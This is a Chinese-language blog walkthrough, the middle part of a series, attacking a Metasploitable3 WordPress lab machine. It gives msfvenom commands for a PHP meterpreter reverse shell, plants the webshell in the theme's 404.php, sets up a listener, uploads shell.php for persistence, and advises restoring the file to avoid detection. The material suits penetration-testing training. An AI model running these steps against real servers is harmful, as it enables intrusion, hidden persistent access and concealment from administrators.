Metasploitable3 WEB服务渗透示例(中)
首、前言
关键字:Metasploit、Metasploitable3、KALI、渗透、暴力破解、反弹SHELL;
在前篇"Metasploitable3 WORDPRESS服务渗透示例(上)"中,我们已经通过暴力破解成功获取到了WORDPRESS后台的控制权了,在之后的两个篇幅中,我们将围绕获取服务器的管理员权限而努力~在本篇博文内,我们将接触到"反向SHELL"技术,使用这一渗透技术,我们将获取到服务器系统层级的一定限限,这能让我们了解到服务器操作系统的一些信息,方便我们作下一部的渗透工作~
快速跳转
Metasploitable3 WORDPRESS服务渗透示例(上)
Metasploitable3 WORDPRESS服务渗透示例(中)
Metasploitable3 WORDPRESS服务渗透示例(下)
一、关于反向SHELL
"反弹SHELL"也称为"反向SHELL",在WEB渗透中也会被称为"WEBSHELL",其本质是"木马"中的一个特殊类型,能实现渗透过程中的一些特殊的功能需求。"反向SHELL"与"正向SHELL"的本质区别是:一个TCP/UDP链接是由谁发起的问题;
例如:一个所谓的"正向SHELL",在"192.168.100.95"上使用"ssh 192.168.100.65"向"192.168.100.62"发起SSH连接,这就是一个正向SHELL;注意:此时"192.168.100.62"主机上应该是已经启用了SSH服务,连接才有可能成功建立;
例如:一个所谓的"反向SHELL",还是上面的网络拓扑环境,利用某些技术手段,使"192.168.100.62"主动向"192.168.100.95"发起SSH连接["ssh 192.168.100.95"];注意:依据一个TCP/UDP链接建立的条件,此时"192.168.100.65"主机上应该是已经启用了SSH服务,连接才有可能成功建立;
区别:以上两示例中,同样是都是使用"ssh"命令建立连接,看上去并没有区别,那实际区别是什么?回到上面的环境中去:1、操作"192.168.100.95"执行"ssh 192.168.100.62"命令,可行,因为这是我们的主机;2、操作"192.168.100.62"执行"ssh 192.168.100.95"命令,不可行,因为我们实际上无法管理控制"192.168.100.62";于是,我们就需要某些技术手段,使我们在没有"192.168.100.62"的实际控制权的情况下,使"192.168.100.62"执行"ssh 192.168.100.95"命令!!![注意,上面说的是"实际控制权",并不是直的什么权限也没有]~
博主希望上面的简单解释能让你理解"反向SHELL";基于"反向SHELL"本质[一个TCP/UDP链接是由谁发起的问题],一个"反向SHELL",往往是需要一个触发"发起TCP/UDP连接"的条件的;在木马中,最简单的方法是向某个特定的IP/域名的特定端口,周期性的发起连接请求[低端];而在WEB渗透中,这个触发条件往往是一个"http/https"连接请求,这个"http/https"链接请求会触发一段"特殊的代码",使其向某个特定目标发起"TCP/UDP"链接;而"WEBSHELL"/"反向SHELL"实际是一段"特殊的代码",这段"特殊的代码"是要放在目标服务器上的,在目标服务器上的具体表现为,一份不应该在该服务器上存在的"文件",或"一分被修改了的源代码文件";
博主知道以上解释很烂,但有兴趣了解这个技术的原理的读者,请百度或谷歌更多的解释内容……
一、反向SHELL生成
以下,利用METASPLOIT渗透框架的"reverse_tcp"模块[php/meterpreter/reverse_tcp],生成一个基于PHP的"反弹SHELL";
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
# 本处使用的是METASPLOIT渗透框架的"msfvenom"命令 # 这个命令的作为可以理解为用于生成"木马" # 查询所有可用于PHP的PAYLOAD模块 # 关于什么是"PAYLOAD"请百度或谷歌[这里真没办法教学] $ msfvenom -l payloads | grep -i php # 列出所用PAYLOAD的可设置选项 # 本处选用的是"php/meterpreter/reverse_tcp"的PAYLOAD模块,此模块的特点生成的WEBSHELL是较小 # 你也可以选用"php/meterpreter_reverse_tcp"的PAYLOAD模块,较大[功能应该更强] $ msfvenom -p php/meterpreter/reverse_tcp --list-options # 生成一个基于PHP的WEBSHELL并保存在"/root/shell.php" $ msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.100.95 LPORT=4444 -a php --platform php -f raw > /root/shell.php # -p : 指定所使用PAYLOAD # LHOST :指定反向链接时应该连接至那个IP/域名 # LPORT :指定反向链接时应该连接至那端口 # -a : 设定架构类型 # 架构一般是指CPU架构的,但在METASPLOIT渗透框架中,这个定义有点特别 # --platform:设定平台类型 # 平台一般是指操作系统类型的,但同样,在METASPLOIT渗透框架中,这个定义有点特别 # -f :输出格式["raw"指原生输出] # 上面的一些参数设定并不是必需的,"msfvenom"一般可以自动定义 # 例如"-a"\"--platform"\"-f"在这个命令条件是可以忽略的 |
二、WEBSHELL代码上传至服务器
使用"vagrant:vagrant"[管理员],从"http://192.168.100.62:8585/wordpress/wp-login.php"登录WORDPRESS后台,切换至主题编辑器,对所使用的"主题模板"的"404.php"中的代码进行替换,将WEBSHELL"shell.php"中的内容写入"404.php"并保存[注:可使用"cat /root/shell.php"来获取WEBSHELL的代码],具体见下图:
注1:你应该保存"404.php"的代码内容用于恢复[用于还原以防止入侵被发现];
注2:"/root/shell.php"中的PHP代码不是完全正确的,这应该是METASPLOIT渗透框架的防误触发机制,你需要文件中起始的"/*"字符,并在文本的最后添加"?>"字符;
注3:基于WEBSHELL的原理,这个"404.php"文件访问便是触发"反向TCP/UDP链接"的触发条件["404.php"文件的代码在目标服务器上运行后,会向"192.168.100.95"的"4444"端口发起链接请求];
三、建立反向SHELL的本地监听["404.php"]
至此,我们并不应该直接触发"404.php"的反射连接功能,原因是,我们并没有在"192.168.100.95"对"4444"进行监听,所以,现在,我们应该在"192.168.100.95"的"4444"端口上起动一个监听服务:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# 192.168.100.95 # 进入KALI # 进入MFS的SHELL环境 $ msfconsole # 在MFS的SHELL环境中加载指定模块、设定并启动一个监听服务区 # 以下操作按顺序为: # 1、加载"exploit/multi/handler"模块 # 2、设定所使用的PAYLOAD[需要和生成WEBSHELL所使用的PAYLOAD相同] # 3、设定本地监听的IP地址 # 4、设定本志监听所使用端口 > use exploit/multi/handler > set payload php/meterpreter/reverse_tcp > set LHOST 192.168.100.95 > set LPORT 4444 > run |
现在,我们使用浏览器去访问WORDPRESS服务中的网面,使之前的被修改的"404.php"中的代码被触发,例如:访问"http://192.168.100.62:8585/wordpress/index.php/2016/10/";
现在访问请求发起后,回到MSF的监听SHELL环境中去,会出现建立起一个"meterpreter >"的SHELL连接;小试牛刀:
1、执行"meterpreter > getuid",我们可以获取到我们在服务器操作系统上的权限;
2、执行"meterpreter > sysinfo",我们可以获取到我们所在服务器的操作系统的类型;
关于"meterpreter",这是METASPLOIT渗透框架中的一个SHELL环境,你可以理解它为LINUX中的BASH,区别是,BASH的设计目的是用于管理LINUX系统的,而"meterpreter"的设计目标是用于渗透的[它的各个命令都是围绕如何方便渗透而定义设计的];
四、持久化与还原
是的,目前我们是可以触发目标上的"404.php"中的PHP代码来实现对目标连接,并实现一些简单的管理了,但这存在什么问题?
1、现实中,这是一个公共WEB服务器,任何均可发起访问,也就是"404.php"中的代码可能随时被触发;
2、修改了"404.php",当真正的管理员发现"404"页面异常后,基于管理与代码排查,容易发现本次渗透攻击;
至少基于以上两点,一般基于渗透成功后,我们需要做两步工作,即"持久化"与"还原";"持久化"简单来说很简单,上传一份只有你知道的代码文件["/root/shell.php"]去代替原有"404.php"的反向连接功能;
首先,我们知道"/root/shell.php"中的PHP代码格式是不正确的,所以我们需要先修正"shell.php"中的内容;
1 2 3 |
# 修正"/root/shell.php" # 修正方法见前面截图 nano /root/shell.php |
现在返回"meterpreter >"的SHELL环境,上传修正后的"shell.php",执行以下操作;
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# 192.168.100.95 [KALI - MSF] # 上传修正后的"shell.php" # 1、切换本地主机的当前目录为"/root" # 2、确认本地主机上是否存在着"shell.php"文件 # 3、切换目标主机的当前目录为"C:\\wamp\\www\\wordpress"[192.168.100.62] # 4、上传"shell.php" # 5、断开"meterpreter >"的SHELL连接[它的任务已经完成了] meterpreter > lcd /root meterpreter > lls shell.php meterpreter > cd C:\\wamp\\www\\wordpress meterpreter > upload shell.php meterpreter > exit |
五、通过"shell.php"与目标建立链接
与之前一样,在"192.168.100.95"的"4444"端口上起动一个监听服务;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
# 192.168.100.95 # 进入KALI # 进入MFS的SHELL环境 $ msfconsole # 在MFS的SHELL环境中加载指定模块、设定并启动一个监听服务区 # 以下操作按顺序为: # 1、加载"exploit/multi/handler"模块 # 2、设定所使用的PAYLOAD[需要和生成WEBSHELL所使用的PAYLOAD相同] # 3、设定本地监听的IP地址 # 4、设定本志监听所使用端口 > use exploit/multi/handler > set payload php/meterpreter/reverse_tcp > set LHOST 192.168.100.95 > set LPORT 4444 > run |
现在,我们使用浏览器去访问"shell.php",访问"http://192.168.100.62:8585/wordpress/shell.php";在访问请求发起后,回到MSF的监听SHELL环境中去,会出现建立起一个"meterpreter >"的SHELL连接;
六、恢复"404.php"
为了防止被目标主机上的真正管理员被发现有人已对服务器进行了渗透,恢复目标上的"404.php"文件的代码,这个不需要博主说怎么操作了吧……
七、结
至此,"Metasploitable3 WORDPRESS服务渗透指南(中)"已经完结,我们已经获取到服务器系统层级的一定权限,并且通过这一有限的权限获取到操作系统的某些信息;
对于"meterpreter"这一个SHELL环境,实际上还有很多有趣的配套命令,有兴趣的读者可自行搜索了解……
我们现在离获取到系统层级的最高管理权限只有一步之遥了,在"Metasploitable3 WORDPRESS服务渗透示例(下)"中,我们将为实现这一目标,但是这一过程远没想象中轻松,详见"下篇"~
Metasploitable3 WEB服务渗透示例(中):等您坐沙发呢!